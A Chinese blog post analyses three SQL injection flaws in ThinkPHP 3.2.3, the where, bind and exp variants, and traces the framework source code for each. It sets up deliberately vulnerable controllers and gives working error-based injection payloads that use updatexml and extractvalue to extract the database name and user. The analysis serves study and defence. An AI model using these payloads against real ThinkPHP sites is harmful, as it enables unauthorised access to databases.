tp3.2.3sql注入漏洞分析

thinkphp3.2.3 sql注入漏洞分析


先到thinkphp官网去下载thinkphp_v3.2.3完整版源码(https://www.thinkphp.cn/Down),然后解压到phpstudy网站根目录下。

thinkphp3.2.3 where注入

环境

配置数据库

ThinkPHP/Conf/convention.php,创建users表,添加实验数据。

/* 数据库设置 */
'DB_TYPE'                => 'mysql', // 数据库类型
'DB_HOST'                => 'localhost', // 服务器地址
'DB_NAME'                => 'thinkphp', // 数据库名
'DB_USER'                => 'root', // 用户名
'DB_PWD'                 => 'root', // 密码
'DB_PORT'                => '3306', // 端口

在这里插入图片描述

配置控制器

Application/Home/Controller/IndexController.class.php

public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}

payload:

http://127.0.0.1/tp3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23

过程分析

在控制器打上断点,然后简单传入一个参数id=2’,然后跟踪看一下具体调用流程:

F7步入,进入M方法
在这里插入图片描述

没什么特别的地方,继续跟进,进入ThinkPHP/Common/functions.php文件的I()方法,I()方法获取了我们传入的参数$_GET[‘id’]

在这里插入图片描述

一直步过跟踪流程,到ThinkPHP/Common/functions.php文件343行,出现C方法赋值,htmlspecialchars,在之后明白它是成为一个默认htmlspecialchars()方法,I()方法接收的参数会经过它的处理,转换预定义字符为实体,防止xss注入
在这里插入图片描述在这里插入图片描述

(htmlspecialchars()函数的功能如下:

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ’ (单引号)成为 ’
  • < (小于)成为 <
  • > (大于)成为 >

它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)

其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:
可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认是只编码双引号的!默认只编码双引号!默认只编码双引号……重要的事情说三遍!!!)

之后会在ThinkPHP/Common/functions.php:402行回调think_filter函数进行过滤,查看一下函数功能:

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

进行了一些过滤,发现危险字符则替换为空。继续跟进,进入了ThinkPHP/Library/Think/Model.class.php:720的find()方法,而该方法又会调用ThinkPHP/Library/Think/Model.class.php:811 _parseOptions()方法,阅读相关代码发现,_parseOptions方法有一个字段验证功能,当$options['where']变量为数组时进行字段类型验证,这就是漏洞产生的地方。看一下进入验证的条件:

// 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }

这里就是问题所在,满足条件

if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

时,就进行验证,试想一下,要是传入的变量是如id['where']的参数,不是数组呢?是不是就可以跳过验证,带入查询,达到不可告人的想法?

先看看传入参数使$options['where']变量为数组时的情况,传参**?id=2’**,经过前面一系列处理,到这里时,$options['where']变量如下:

在这里插入图片描述

可以看到是数组,会调用ThinkPHP/Library/Think/Model.class.php 680行的_parseType方法

    protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM类型优先检测
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }

经过_parseType方法后id参数值会被intval函数强制转换为整数值,此时id参数值变为了2,因此无法进行注入。

再来看看传入参数使$options['where']变量不为数组时的情况,传参**?id[where]=2**,经过前面一系列处理,到这里时,$options['where']变量如下:

在这里插入图片描述

可以看到变量$options[‘where’]不是数组,继续跟进下去,后面的流程对查询语句没有干扰,因此可以看到最后的sql语句为:

"SELECT * FROM `users` WHERE 2 LIMIT 1  "

在这里插入图片描述

了解了原理,我们再传入payload查看一下关键位置:

?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23

一路跟进到最后,可以看到最终的查询语句为:

在这里插入图片描述

达到注入的目的。那么了解了原理之后,构造其他的payload也是可以的,比如:

?id[where]=1 and 1=extractvalue(1,concat(0x7e,(select user()),0x7e))%23

ThinkPHP3.2.3_bind注入

1. 环境

//Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $User = M('users');
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }
}

2. payload

/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&password=k

在这里插入图片描述

3. 过程分析

我们直接从payload的角度来进行分析,从在最后sql语句执行点下一个断点

在这里插入图片描述

跟进,可以看到跟之前调的几条链一样把传入的参数赋值到了$this->options['where']

在这里插入图片描述

然后进入了ThinkPHP/Library/Think/Model.class.php的save方法,并在其中461行调用了_parseOptions方法,跟进一下,发现在_parseOptions方法的字段类型验证处没有进入_parseType方法验证类型。

在这里插入图片描述

继续跟进,从_parseOptions方法出来后调用ThinkPHP/Library/Think/Db/Driver.class.php文件的$this->db->update方法在896行进行一小段SQL拼接


之后再调用parseWhereItem方法进行另一段SQL拼接,跟进一下,在parseWhereItem方法中,给 e x p 赋 值 b i n d , 之 后 进 入 判 断 , 这 里 当 exp赋值bind,之后进入判断,这里当 expbind,exp值为bind时,sql语句中拼接进了**$val[1]😗*(仔细看的话,可以注意到,exp也是可以拼接的,这是另一个利用,我们在后面提到
在这里插入图片描述
在这里插入图片描述

出来之后,把拼接出来的两段SQL语句进行再拼接。此时拼接出来的SQL语句存在:0

在这里插入图片描述

之后使用strstr()方法将**:0替换成外部传入的值,这个payload中是k**

在这里插入图片描述

到最后,执行的查询语句就变成了如下形势导致了报错注入。

"UPDATE `users` SET `password`='k' WHERE `id` = 'k' and (updatexml(1,concat(0x7e,user(),0x7e),1))"

thinkphp 3.2.3 exp注入

1.环境

同样的控制器位置写入:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $id = $_GET['id'];
        //$id = I('id');//用I()方法获取参数避免该注入,原因后面解释
        $data = M('users')->where(array('id'=>$id))->find();
        var_dump($data);
    }
}

2.payload:

/?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述

3. 过程分析

打下断点,跟进观察,直到ThinkPHP/Library/Think/Db/Driver.class.php的select ()方法,

在这里插入图片描述
继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php的buildSelectSql()方法中

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php的parseSql()方法
在这里插入图片描述
该方法调用一系列自定义方法填充预定义的sql语句,来构建最后的sql查询语句。预定义语句为:

"SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%"

这里依次跟进,重点在:parseWhere()方法,看一下:

在这里插入图片描述
调用parseWhereItem()方法,跟进

protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
				$exp	=	strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                    }
                }elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= $key.' '.$data.' '.$rule.' ';
                    }else{
                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                    }
                }
                $whereStr = '( '.substr($whereStr,0,-4).' )';
            }
        }else {
            //对字符串类型字段采用模糊匹配
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }

重点在

protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
				$exp	=	strtolower($val[0]);
                。。。
                。。。
                。。。
elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }
elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];

满足$val是数组,并且索引为0的值为字符串’exp’,就进入该方法,之后在exp的那个语句中把where条件直接用点拼接,造成了SQL注入。

补充:

1.为什么I()方法能阻止sql注入?

传入参数,跟进一下就可以知道,I方法会回调在ThinkPHPCommonfunctions.ph中的think_filter函数,而该函数

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

会把(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOTBETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN) 这些特殊关键字加上空格,使**$exp='exp空格 '**,从而不满足上面的条件,也就无法完成拼接sql语句,自然就不能注入。

2.parseWhereItem方法设计缺陷

设置断点进行调试,调用find()查询方法时会调用到parseWhereItem方法,这个方法判断传入的数组参数id[0]的值是否为exp,如果是,则把参数的参数名id和参数值**id[1]进行拼接作为要执行的sql语句返回,这里就是为什么不能用I()**方法接收参数,用I()方法接收参数就无法让id[0]的值为exp

在这里插入图片描述
那么只要构造id[0]=exp,那么就可以让SQL语句中id=后面的值为任意值,当然期间经历过htmlspecialchars函数的实体化,但是这个函数默认不实体化单引号的

3.漏洞代码中的where方法为什么要是数组的形式

当where方法的参数是以非数组的形式接收时,此时where方法中的where变量就是一个字符串,再经过if语句处理后变为数组,这个数组只有一个值为id
在这里插入图片描述
调用完where方法,紧接着调用find方法时使用到的是$this->where变量,这个变量是在where方法中的where变量传递过去的,也就是我们传递的id数组参数值没有被find方法使用到,此时没有进入存在parseWhereItem方法的条件判断分支,而是进入前一条判断分支,那么就没有调用parseWhereItem方法,就没有进行SQL语句拼接。
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值